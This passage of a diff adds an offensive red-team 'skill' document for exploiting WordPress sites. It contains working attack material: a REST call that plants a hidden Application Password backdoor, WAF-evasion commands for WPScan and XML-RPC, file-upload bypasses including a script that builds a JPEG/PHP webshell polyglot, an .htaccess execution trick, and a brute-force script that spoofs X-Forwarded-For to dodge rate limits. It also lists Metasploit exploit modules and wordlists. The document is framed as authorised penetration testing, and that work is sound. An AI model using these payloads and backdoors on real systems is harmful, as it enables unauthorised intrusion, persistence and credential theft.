+ `wp-content/debug.log` was publicly accessible and contained database query errors that included the full connection string (host, username, password) as part of PDO exception messages.
1154
+
1155
+ ```bash
1156
+ curl -s https://target/wp-content/debug.log | grep -i 'PDO\|mysql\|pass\|user'
1157
+ # Output: PDOException: SQLSTATE[HY000] [1045] Access denied for user 'wp_user'@'localhost' (using password: 'db_pass_from_log')
1158
+ ```
1159
+
1160
+ **Finding 3 — Elementor Pro plugin out of date**
1161
+
1162
+ WPScan identified Elementor Pro version 3.6.0 installed, which is vulnerable to CVE-2023-32243. The vulnerability was not exploited as admin access was already obtained via Finding 1, but it was documented as an additional attack path.
1163
+
1164
+ **Finding 4 — Application Password backdoor planted**
1165
+
1166
+ Post-exploitation: created an Application Password named "WP Monitoring Tool" for the admin user via the REST API. This persists across password changes of the main account and does not appear in the standard user profile UI unless specifically looking for it.
1167
+
1168
+ ```bash
1169
+ curl -s -X POST "https://target/wp-json/wp/v2/users/1/application-passwords" \
1170
+ -u "admin:Company2023!" \
1171
+ -H "Content-Type: application/json" \
1172
+ -d '{"name":"WP Monitoring Tool"}'
1173
+ # Saved resulting password to engagement safe
1174
+ ```
1175
+
1176
+ **Finding 5 — User enumeration via REST API**
1177
+
1178
+ The `/wp-json/wp/v2/users` endpoint was accessible without authentication and returned all user display names and login slugs, providing the target username list for brute force.
1179
+
1180
+ ---
1181
+
1182
+ ## 7. WAF Bypass Techniques
1183
+
1184
+ ### Bypassing WAF on WPScan
1185
+
1186
+ ```bash
1187
+ # Randomize user agent
1188
+ wpscan --url https://TARGET \
1189
+ --random-user-agent \
1190
+ --throttle 2000 \
1191
+ --max-threads 1 \
1192
+ --api-token TOKEN \
1193
+ --enumerate ap
1194
+
1195
+ # Use custom user agent matching legitimate browser
1196
+ wpscan --url https://TARGET \
1197
+ --user-agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
1198
+ --api-token TOKEN \
1199
+ --enumerate ap
1200
+
1201
+ # Route through proxy for header manipulation
1202
+ wpscan --url https://TARGET \
1203
+ --proxy http://127.0.0.1:8080 \
1204
+ --disable-tls-checks \
1205
+ --random-user-agent \
1206
+ --throttle 3000
1207
+ ```
1208
+
1209
+ ### Bypassing WAF on XML-RPC
1210
+
1211
+ ```bash
1212
+ # Some WAFs block "system.multicall" string — use encoding
1213
+ # XML entity encoding of method name
1214
+ curl -s -X POST https://TARGET/xmlrpc.php \
1215
+ -H "Content-Type: text/xml" \
1216
+ -d '<?xml version="1.0"?>
1217
+ <methodCall>
1218
+ <methodName>&#115;&#121;&#115;&#116;&#101;&#109;.listMethods</methodName>
1219
+ <params></params>
1220
+ </methodCall>'
1221
+
1222
+ # Change Content-Type to bypass signature-based detection
1223
+ curl -s -X POST https://TARGET/xmlrpc.php \
1224
+ -H "Content-Type: application/xml" \
1225
+ -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'
1226
+
1227
+ # Use Burp Repeater to manually test WAF bypass with chunked encoding
1228
+ # Enable "Use chunked encoding" in Burp request settings
1229
+ ```
1230
+
1231
+ ### Bypassing WAF on File Upload
1232
+
1233
+ ```bash
1234
+ # Double extension (depends on server config)
1235
+ mv shell.php shell.php.jpg
1236
+ mv shell.php shell.jpg.php
1237
+
1238
+ # Null byte injection (older PHP/servers)
1239
+ # shell.php%00.jpg
1240
+
1241
+ # MIME type spoofing
1242
+ curl -s -X POST "https://TARGET/wp-admin/admin-ajax.php" \
1243
+ -F "action=VULNERABLE_ACTION" \
1244
+ -F "file=@/tmp/shell.php;type=image/jpeg;filename=shell.jpg"
1245
+
1246
+ # Polyglot file (valid image + PHP)
1247
+ python3 - << 'EOF'
1248
+ # Create JPEG polyglot
1249
+ with open('/tmp/polyglot.jpg', 'wb') as f:
1250
+ # Valid JPEG header
1251
+ f.write(bytes([0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01]))
1252
+ # PHP comment in EXIF area
1253
+ f.write(b'\xff\xfe' + len(b'<?php system($_GET["cmd"]); ?>').to_bytes(2,'big') + b'<?php system($_GET["cmd"]); ?>')
1254
+ # JPEG end marker
1255
+ f.write(bytes([0xFF, 0xD9]))
1256
+ print("Created /tmp/polyglot.jpg")
1257
+ EOF
1258
+
1259
+ # .htaccess upload to force PHP execution of images
1260
+ echo 'AddType application/x-httpd-php .jpg' > /tmp/.htaccess
1261
+ # Upload .htaccess first, then upload shell.jpg
1262
+ ```
1263
+
1264
+ ### Bypassing Login Rate Limiting
1265
+
1266
+ ```bash
1267
+ # Distribute brute force across multiple source IPs using proxy list
1268
+ # Use X-Forwarded-For header rotation (only if WAF trusts it)
1269
+
1270
+ python3 - << 'EOF'
1271
+ import requests
1272
+ import random
1273
+
1274
+ TARGET = "https://target.com/wp-login.php"
1275
+ USERNAME = "admin"
1276
+ PASSWORDS = ["password1", "password2", "company2023", "company2024!"]
1277
+
1278
+ # Fake IP rotation via X-Forwarded-For
1279
+ def fake_ips():
1280
+ return [f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
1281
+ for _ in range(100)]
1282
+
1283
+ ips = fake_ips()
1284
+
1285
+ for i, pw in enumerate(PASSWORDS):
1286
+ headers = {
1287
+ 'X-Forwarded-For': ips[i % len(ips)],
1288
+ 'X-Real-IP': ips[(i+1) % len(ips)],
1289
+ 'User-Agent': f'Mozilla/5.0 (Random {i})'
1290
+ }
1291
+ r = requests.post(TARGET,
1292
+ data={'log': USERNAME, 'pwd': pw, 'wp-submit': 'Log In'},
1293
+ headers=headers, allow_redirects=False, verify=False)
1294
+ if r.status_code in [301, 302] and 'wp-admin' in r.headers.get('Location', ''):
1295
+ print(f"[!!!] SUCCESS: {USERNAME}:{pw}")
1296
+ break
1297
+ print(f"[-] Failed: {pw}")
1298
+ EOF
1299
+ ```
1300
+
1301
+ ---
1302
+
1303
+ ## 8. Integration with RTExit Autodoc Engine
1304
+
1305
+ All findings from this skill should be automatically documented using the RTExit autodoc format.
1306
+
1307
+ ### Finding Template
1308
+
1309
+ ```bash
1310
+ # RTExit finding submission via autodoc
1311
+ # Usage: rtdoc finding <category> <title> <severity> [options]
1312
+
1313
+ rtdoc finding \
1314
+ --category "CMS Exploitation" \
1315
+ --title "WordPress XML-RPC Enabled — Brute Force Successful" \
1316
+ --severity CRITICAL \
1317
+ --cvss 9.8 \
1318
+ --cve "N/A" \
1319
+ --host "target.com" \
1320
+ --port 443 \
1321
+ --evidence-file /path/to/output/xmlrpc_bruteforce_result.txt \
1322
+ --recommendation "Disable XML-RPC via plugin or .htaccess. Implement account lockout policy." \
1323
+ --tags "wordpress,xmlrpc,brute-force,authentication"
1324
+ ```
1325
+
1326
+ ### Automated Evidence Collection Script
1327
+
1328
+ ```python
1329
+ #!/usr/bin/env python3
1330
+ # wp_autodoc.py — collect and format WordPress findings for RTExit
1331
+
1332
+ import json
1333
+ import os
1334
+ import datetime
1335
+ import subprocess
1336
+ from pathlib import Path
1337
+
1338
+ class RTExitWordPressDoc:
1339
+ def __init__(self, target, output_dir):
1340
+ self.target = target
1341
+ self.output_dir = Path(output_dir)
1342
+ self.output_dir.mkdir(parents=True, exist_ok=True)
1343
+ self.findings = []
1344
+ self.timestamp = datetime.datetime.utcnow().isoformat()
1345
+
1346
+ def add_finding(self, title, severity, description, evidence, recommendation,
1347
+ cvss=None, cves=None, tags=None):
1348
+ self.findings.append({
1349
+ "title": title,
1350
+ "severity": severity,
1351
+ "cvss": cvss,
1352
+ "cves": cves or [],
1353
+ "description": description,
1354
+ "evidence": evidence,
1355
+ "recommendation": recommendation,
1356
+ "tags": tags or [],
1357
+ "target": self.target,
1358
+ "timestamp": self.timestamp
1359
+ })
1360
+
1361
+ def run_wpscan(self, api_token):
1362
+ """Run WPScan and parse output."""
1363
+ output_file = self.output_dir / "wpscan_output.json"
1364
+ cmd = [
1365
+ "wpscan",
1366
+ "--url", self.target,
1367
+ "--api-token", api_token,
1368
+ "--enumerate", "u,ap,at",
1369
+ "--plugins-detection", "aggressive",
1370
+ "--format", "json",
1371
+ "--output", str(output_file)
1372
+ ]
1373
+ subprocess.run(cmd, capture_output=True)
1374
+
1375
+ if output_file.exists():
1376
+ with open(output_file) as f:
1377
+ data = json.load(f)
1378
+ self._process_wpscan_output(data)
1379
+ return output_file
1380
+
1381
+ def _process_wpscan_output(self, data):
1382
+ """Extract findings from WPScan JSON output."""
1383
+ # Check for vulnerable plugins
1384
+ for slug, plugin in data.get("plugins", {}).items():
1385
+ for vuln in plugin.get("vulnerabilities", []):
1386
+ self.add_finding(
1387
+ title=f"WordPress Plugin {slug}: {vuln['title']}",
1388
+ severity=self._cvss_to_severity(vuln.get("cvss", {}).get("score", 0)),
1389
+ description=vuln.get("description", vuln["title"]),
1390
+ evidence=f"Plugin: {slug} v{plugin.get('version', {}).get('number', '?')}\n"
1391
+ f"Vulnerability: {vuln['title']}\n"
1392
+ f"Fixed in: {vuln.get('fixed_in', 'not fixed')}",
1393
+ recommendation=f"Update {slug} to version {vuln.get('fixed_in', 'latest')} or later.",
1394
+ cvss=vuln.get("cvss", {}).get("score"),
1395
+ cves=vuln.get("references", {}).get("cve", []),
1396
+ tags=["wordpress", "plugin", slug, "cve"]
1397
+ )
1398
+
1399
+ def _cvss_to_severity(self, score):
1400
+ if score >= 9.0: return "CRITICAL"
1401
+ if score >= 7.0: return "HIGH"
1402
+ if score >= 4.0: return "MEDIUM"
1403
+ if score >= 0.1: return "LOW"
1404
+ return "INFORMATIONAL"
1405
+
1406
+ def export(self):
1407
+ """Export all findings to RTExit format."""
1408
+ output = {
1409
+ "engagement_target": self.target,
1410
+ "skill": "rt-exploit-wordpress",
1411
+ "timestamp": self.timestamp,
1412
+ "findings": self.findings
1413
+ }
1414
+ output_file = self.output_dir / "wp_findings.json"
1415
+ with open(output_file, 'w') as f:
1416
+ json.dump(output, f, indent=2)
1417
+ print(f"[*] Exported {len(self.findings)} findings to {output_file}")
1418
+ return output_file
1419
+
1420
+ # Usage
1421
+ if __name__ == "__main__":
1422
+ doc = RTExitWordPressDoc("https://target.com", "/path/to/output/")
1423
+
1424
+ # Add manual findings
1425
+ doc.add_finding(
1426
+ title="WordPress XML-RPC Amplified Brute Force",
1427
+ severity="HIGH",
1428
+ description="XML-RPC is enabled and system.multicall is available, "
1429
+ "allowing an attacker to test hundreds of passwords per request "
1430
+ "and bypass rate limiting.",
1431
+ evidence="xmlrpc.php returned 200 OK.\nsystem.multicall confirmed available.\n"
1432
+ "Admin password discovered: Company2023!",
1433
+ recommendation="Disable XML-RPC via the Wordfence plugin or add the following "
1434
+ "to .htaccess:\n\n<Files xmlrpc.php>\ndeny from all\n</Files>",
1435
+ cvss=8.1,
1436
+ tags=["wordpress", "xmlrpc", "brute-force"]
1437
+ )
1438
+
1439
+ output_file = doc.export()
1440
+ print(f"[*] RTExit autodoc file: {output_file}")
1441
+ ```
1442
+
1443
+ ### RTExit Directory Structure for WordPress Engagements
1444
+
1445
+ ```
1446
+ engagement/
1447
+ wordpress/
1448
+ wpscan_passive_YYYYMMDD.json # WPScan passive scan results
1449
+ wpscan_aggressive_YYYYMMDD.json # WPScan aggressive scan results
1450
+ users_enum.txt # Discovered usernames
1451
+ plugin_versions.txt # Plugin versions and CVE matches
1452
+ debug.log # debug.log content if accessible
1453
+ wp-config_extract.txt # Extracted credentials (sanitized for report)
1454
+ xmlrpc_test.txt # XML-RPC test results
1455
+ brute_force_result.txt # Brute force outcome
1456
+ application_passwords.txt # Created backdoor credentials
1457
+ wp_findings.json # RTExit structured findings
1458
+ screenshots/ # Burp Suite captures, browser screenshots
1459
+ ```
1460
+
1461
+ ---
1462
+
1463
+ ## 9. Output/Documentation Instructions
1464
+
1465
+ ### Evidence Collection Standards
1466
+
1467
+ Every exploitation attempt must be documented with:
1468
+
1469
+ 1. **Command used** — exact command with all parameters (sanitize credentials before screenshots)
1470
+ 2. **Request/response** — Burp Suite capture or curl verbose output
1471
+ 3. **Timestamp** — UTC timestamp of each action
1472
+ 4. **Outcome** — success, failure, or partial result
1473
+ 5. **Screenshot** — for any GUI-based actions
1474
+
1475
+ ### Mandatory Documentation for Each Phase
1476
+
1477
+ **Enumeration phase:**
1478
+ - WPScan JSON output file
1479
+ - Screenshot of WordPress admin login page
1480
+ - List of discovered users (with enumeration method noted)
1481
+ - List of installed plugins with versions
1482
+
1483
+ **Exploitation phase:**
1484
+ - Full HTTP request and response for each exploit attempt
1485
+ - Evidence of successful exploitation (command output, file contents)
1486
+ - Proof-of-concept screenshot
1487
+
1488
+ **Post-exploitation phase:**
1489
+ - Screenshot of achieved access level
1490
+ - Evidence of data accessed (censored in report, full in evidence vault)
1491
+ - Documentation of all changes made (files uploaded, users created)
1492
+ - Cleanup confirmation
1493
+
1494
+ ### Report Severity Mapping
1495
+
1496
+ | Finding | Severity | CVSS Range |
1497
+ |---------|----------|------------|
1498
+ | Unauthenticated RCE (CVE-2020-25213) | CRITICAL | 10.0 |
1499
+ | Unauthenticated file upload | CRITICAL | 9.0–9.8 |
1500
+ | Admin credential brute force success | CRITICAL | 9.0 |
1501
+ | XML-RPC amplified brute force | HIGH | 7.5–8.5 |
1502
+ | Authenticated SQLi | HIGH | 7.5–8.0 |
1503
+ | Unauthenticated user enumeration | MEDIUM | 5.3 |
1504
+ | Outdated plugin (no active exploit) | LOW | 2.0–3.9 |
1505
+ | debug.log publicly accessible | HIGH | 7.5 |
1506
+ | wp-config.php accessible | CRITICAL | 10.0 |
1507
+
1508
+ ---
1509
+
1510
+ ## 10. Resources
1511
+
1512
+ ### CVE and Vulnerability Databases
1513
+
1514
+ - WPScan Vulnerability Database: https://wpscan.com/wordpress-security-scanner
1515
+ - WPScan API: https://wpscan.com/api
1516
+ - WordPress CVE list (NVD): https://nvd.nist.gov/vuln/search/results?query=wordpress
1517
+ - Patchstack vulnerability database: https://patchstack.com/database/
1518
+ - Wordfence Intelligence: https://www.wordfence.com/threat-intel/vulnerabilities/
1519
+
1520
+ ### Exploit Repositories
1521
+
1522
+ - Exploit-DB WordPress entries: https://www.exploit-db.com/search?q=wordpress
1523
+ - CVE-2024-3673 (popup-builder): https://www.cve.org/CVERecord?id=CVE-2024-3673
1524
+ - CVE-2023-32243 (Elementor Pro) PoC: https://github.com/alirezaarzehgar/CVE-2023-32243
1525
+ - CVE-2020-25213 (WP File Manager): https://github.com/w4fz5uck5/wp-file-manager-0day
1526
+ - CVE-2020-35489 (Contact Form 7): https://github.com/dn9uy3n/Check-WP-CVE-2020-35489
1527
+ - Slider Revolution file disclosure: https://www.exploit-db.com/exploits/36554
1528
+
1529
+ ### Tools
1530
+
1531
+ - WPScan: https://github.com/wpscanteam/wpscan
1532
+ - WPScan Docker: `docker pull wpscanteam/wpscan`
1533
+ - xmlrpc-scan: https://github.com/nullfil3/xmlrpc-scan
1534
+ - WordPress Exploit Framework: https://github.com/rastating/wordpress-exploit-framework
1535
+ - CMSmap: https://github.com/Dionach/CMSmap
1536
+ - WordPress Brute Force (Metasploit): `use auxiliary/scanner/http/wordpress_login_enum`
1537
+ - hashcat (phpass mode 400): https://hashcat.net/hashcat/
1538
+
1539
+ ### Metasploit Modules Reference
1540
+
1541
+ ```
1542
+ auxiliary/scanner/http/wordpress_scanner
1543
+ auxiliary/scanner/http/wordpress_login_enum
1544
+ auxiliary/scanner/http/wordpress_xmlrpc_login
1545
+ auxiliary/scanner/http/wordpress_xmlrpc_enum
1546
+ exploit/unix/webapp/wp_admin_shell_upload
1547
+ exploit/unix/webapp/wp_property_file_upload_exec
1548
+ exploit/unix/webapp/wp_revslider_file_read
1549
+ exploit/multi/http/wp_wysija_newsletters_upload
1550
+ exploit/unix/webapp/wp_wpfilemanager_rce
1551
+ ```
1552
+
1553
+ ### Wordlists
1554
+
1555
+ - rockyou.txt: `/usr/share/wordlists/rockyou.txt`
1556
+ - WordPress-specific wordlist: https://github.com/drtychai/wordlists/blob/master/fasttrack.txt
1557
+ - SecLists WordPress: https://github.com/danielmiessler/SecLists/tree/master/Passwords/darkweb2017-top10000.txt
1558
+ - Common WP passwords: `admin, password, wordpress, changeme, 123456, admin123, [company_name][year]`
1559
+
1560
+ ### Reference Reading
1561
+
1562
+ - WordPress Security White Paper: https://wordpress.org/about/security/
1563
+ - OWASP WordPress Security Testing: https://owasp.org/www-project-web-security-testing-guide/
1564
+ - Offensive WordPress: https://github.com/m8sec/offensive-wordpress
1565
+ - WPScan Blog: https://blog.wpscan.com/